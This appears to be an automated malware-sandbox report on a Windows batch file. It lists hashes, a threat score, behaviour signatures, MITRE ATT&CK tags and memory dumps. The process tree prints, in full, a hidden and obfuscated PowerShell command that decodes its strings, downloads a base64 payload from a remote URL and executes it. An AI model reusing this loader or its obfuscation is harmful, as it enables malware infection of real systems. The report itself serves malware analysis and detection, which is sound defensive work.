bd9abb0e5dc6151e7608bc134a399b822d6cae615ce85d5549affb924c15819f

Analysis

max time kernel
147s
max time network
148s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-12-2024 01:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3.bat
Size

4KB
MD5

7d81c68c80b51bfcdea2e11ac99e606f
SHA1

5c0dae6d1b7e77f806fbeb537921222ad5136c9b
SHA256

229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3
SHA512

8a5b8d97f8e2c344a32d6ee8fe93ba020fc01dc1717500214c1235af8fe9030d0c3bd5b540d0d78699b2eaa4dadaefe7417274ebf683dc1e71b56851d8acc10b
SSDEEP

96:VDCwylmfZfGRN+0ndbI+Cd/Pfo2zkDVPKKb8Bv:VmuZf2nds+CFo28sKb81

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	1056	powershell.exe
6	1056	powershell.exe
7	1056	powershell.exe
8	1056	powershell.exe
9	1056	powershell.exe
10	1056	powershell.exe
11	1056	powershell.exe
12	1056	powershell.exe
13	1056	powershell.exe
14	1056	powershell.exe
15	1056	powershell.exe
16	1056	powershell.exe
17	1056	powershell.exe
18	1056	powershell.exe
19	1056	powershell.exe
20	1056	powershell.exe
21	1056	powershell.exe
22	1056	powershell.exe
23	1056	powershell.exe
24	1056	powershell.exe
25	1056	powershell.exe
26	1056	powershell.exe
27	1056	powershell.exe
28	1056	powershell.exe
29	1056	powershell.exe
30	1056	powershell.exe
31	1056	powershell.exe
32	1056	powershell.exe
33	1056	powershell.exe
34	1056	powershell.exe
35	1056	powershell.exe
36	1056	powershell.exe
37	1056	powershell.exe
38	1056	powershell.exe
39	1056	powershell.exe
40	1056	powershell.exe
41	1056	powershell.exe
42	1056	powershell.exe
43	1056	powershell.exe
44	1056	powershell.exe
45	1056	powershell.exe
46	1056	powershell.exe
47	1056	powershell.exe
48	1056	powershell.exe
49	1056	powershell.exe
50	1056	powershell.exe
51	1056	powershell.exe
52	1056	powershell.exe
53	1056	powershell.exe
54	1056	powershell.exe
55	1056	powershell.exe
56	1056	powershell.exe
57	1056	powershell.exe
58	1056	powershell.exe
59	1056	powershell.exe
60	1056	powershell.exe
61	1056	powershell.exe
62	1056	powershell.exe
63	1056	powershell.exe
64	1056	powershell.exe
65	1056	powershell.exe
66	1056	powershell.exe
67	1056	powershell.exe
68	1056	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1056	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1056	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 1056	3040	cmd.exe	32
PID 3040 wrote to memory of 1056	3040	cmd.exe	32
PID 3040 wrote to memory of 1056	3040	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "<#Ferskvandsfiskerierne Klenes Middelvejen Semicartilaginous #>;$Racette136='Civiliseringschance';<#Skabehoveder Papirpresser Kvalifikationsniveauet gidens #>;$Predeficiently=$Fortredes+$host.UI;If ($Predeficiently) {$Blazoned++;}function Gyps($Pernickety){$Appendiculariidae=$Sealflower+$Pernickety.Length-$Blazoned; for( $Ekvilibrisme222=2;$Ekvilibrisme222 -lt $Appendiculariidae;$Ekvilibrisme222+=3){$Tegnefilmenes='Sprtning';$Spoonbill+=$Pernickety[$Ekvilibrisme222];$Urinaler='snvrest';}$Spoonbill;}function lsevrdig($Udarmes){ . ($iliopelvic) ($Udarmes);}$Souvlaki=Gyps 'I MUnoKrz EiC lSklEiaSo/ B5 .Ib0 a Ti(B WPhi ,n CdDeo wInsSa .rN ATs Pi1 d0 e.La0Ba;Fe NeW iNdnSu6 4H ; I E xKy6 4W ; R Flrh vBo:Wi1Un2Ch1Au.Ov0 ) iG,reRtcBekOvo o/ R2A 0Cu1Fy0.e0,u1s 0 1Te DyFV.inorS.e AfLioScxS /Es1Mo2Pl1 . i0Br ';$Lokalplanomraadernes=Gyps 'TeuLsSI EAcrAf- dAE,GBjEO,NT tBl ';$Imperator=Gyps ' h.otH t ,pFis :,r/gr/ UwStw owDo.Int MwLiiGe-UniS nIntRoeDirwiiIsoB.rI,.HodH e.w/ eLMaILnVOmE y/ Bw epIn-Dainen ecExl NuS,dS eArs.k/ aIL.XM RRe/ViA jl obFrrAceexkKotUxs v.I qGrx ddF ';$svrvgtsbokserens=Gyps ' l> G ';$iliopelvic=Gyps 'GhiLyeA x ';$Reclame='indberetningspligten';$Skint='\uncontradictablely.Ove';lsevrdig (Gyps 'm $ ngAflPoOFuBM,AAsLEf: aFs,OR.XIntSte,er .rS I E mrTie BN ,=Ex$ E.dNTeVHa: GAWepEtpabdPhAtoTAlaTr+,u$ oS ,K DiLen at L ');lsevrdig (Gyps 'b $SpGI lFao BBBlAJ LUn: UpX UCyl TM OD,nTwaSmR vi Ba o= S$GeIS m KP.leLarDuAC T ioL.RPr.Uns rPMalR i rT.e(Ca$PrS ,v MrEuV PgMeTBesStBGeoP k nSH EM,RLoE NH SDa)Le ');lsevrdig (Gyps 'No[GanL eFrT R.Sis,reUnrMiv Ni .c Me pS OSkIMln,qTBeMnyavrNMlAA G.neEnRSu]Ve:ka:CoSUsEDiC.ouHvrDei lT,ry PKaRTyO tMiOBeCO o cL i ,h=Be T.[deNCaEMiT a.StsovEStcTeu crBli dTa yTiPNaRMeo dT ,OCaCHeoC lH t Y CP TeAm]He: l:I.TVoLS s,n1S.2sv ');$Imperator=$Pulmonaria[0];$Rishsts=(Gyps ' U$ uG mlA OClb kAChlI : ,a nIntPrI p,eA RT Yh,eAMuRReISkaFrn a=QunTrEHew e-B O B j E pCGaTDe .rs SykosTrTH e lmTy.BiNDreT T l. ,w SETyB ecUnl .i EEzNPltDi ');lsevrdig ($Rishsts);lsevrdig (Gyps 'F $P AWinT tE.i spruaa t BhD,aBurofiP,aSlnAf.ElH,aeInaPld eKar Dsse[ u$NaL o .kDaatrlK pGul aaConBao PmB rA.aBeaU,dHoeTerTanN eTrs.p]he= j$ SS oEmuA v ylPia IkMyi u ');$Hydrometridae=Gyps ' U$E.ATanbetB iQupsaa OtSthVaaHor KiKlaNon L.LyD CoTawRynA,lProInaKadNoF piGsl,ieBo(Al$ II mFopCre Cr,ia,it MoinrOv,Fr$KuALadOvvuno Ok ,aFotB,u KrReeAlrsa) S ';$Advokaturer=$Foxterrieren;lsevrdig (Gyps ' ,$,eg NlPaoRiB AA ,LIm:FlCM,R PA.ans,ISjAKotEnE.eS,u= N(.ntWoE.tsWatS - aPV A ItI hS. B $afaNaDInvByOAfkMiaA.TPoU SR eDerF ) T ');while (!$craniates) {lsevrdig (Gyps 'Ty$ Cg GlRsoTeb fainlme:KiUUnn ci nm SmReeprdG iSta tM,eDilG yHy= S$ tAkr Eu eeBo ') ;lsevrdig $Hydrometridae;lsevrdig (Gyps 'Wes PT DACar ntA - aSSjLFyESeeGaP T S 4D ');lsevrdig (Gyps ' n$TogK,LThOB B,nAW L :z,CC,rUnA CnS Ia a T Je JsUn=Di(OpTOvENos dTS.- up ,AJoT PHDe G$,iA .d,ov RoGrKEfA aTI uSeRste R f) S ') ;lsevrdig (Gyps ' u$EkgEmLL oBibFeA VLMe: lW,ENana,iDiT FiO V ReFoLHyYSa=ap$EsG LlGrO abcyaC Lfo:Fog lMiABrt Sk .rT S e,rl.p+Ga+ S% n$B,pSkURel SMovo cN iaS RGai OA o.poCPaOBiUB nDiT S ') ;$Imperator=$Pulmonaria[$Lenitively];}$Denimens53=318932;$Crotchet=27290;lsevrdig (Gyps 'Si$LaG ulIrostb LAReLLe: otFouS rP EG D IER SC o=sl A.G CE ltOp-miCStoSunStTFoE UN,vTP $OpAG d ov rO dKepATotbeuBlR FeBeRA. ');lsevrdig (Gyps 'Ta$V,gNolReoSabS.aFil ,:FlAHjf stFleocrb nF,oLio onTes C M,=S Re[,iSO.y Ds Pt ,eRimNe. uCwhotenStvLyeF r Ct,r] c:ha:JeF PrOuoW mInBS a scleFo6,i4 SFotVarFaiSnn Sg B(Dy$b T cuRorDie dKneOms ) W ');lsevrdig (Gyps 'Sa$ PgInLGeo aB ca.eL.g:PrAN PDoOu LfrlNoICoN AA lRspISks IENorQuN AE usAg ,=Fa Fi[h s lY SNat CeKuMDi.E,tSaeArxGeTNo. eEuN gCR OKaD oI SNMeg r]He:Kt: aFiSS CB.iFoi u.FagA,ET,TKlS.etP rU iFanD.G t(.i$ fAUnFFeT.oE.nR ,nCooStoMoN.isCo) P ');lsevrdig (Gyps 'Ar$LoGShL SO tBNoA PLSe:miNR.OBrNboe.uXT p,aO pnWoEPenCrTSoi oa pl,uLKoY =.u$NoAilP SO alHelBriU N nAW.R .i.rS,ieSarFanDiE ISD .Dus,eU oBreSNrt,ir Ci KNJyGSi( n$grD.yeTrnT IbjM ,e GnNrSU 5 ,3Te,Ca$ CToRU O nTE c ,HL e CT a)Pa ');lsevrdig $nonexponentially;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1056-4-0x000007FEF559E000-0x000007FEF559F000-memory.dmp

Filesize
4KB

Download
memory/1056-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/1056-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/1056-7-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/1056-8-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/1056-9-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/1056-10-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/1056-11-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/1056-12-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/1056-13-0x000007FEF559E000-0x000007FEF559F000-memory.dmp

Filesize
4KB

Download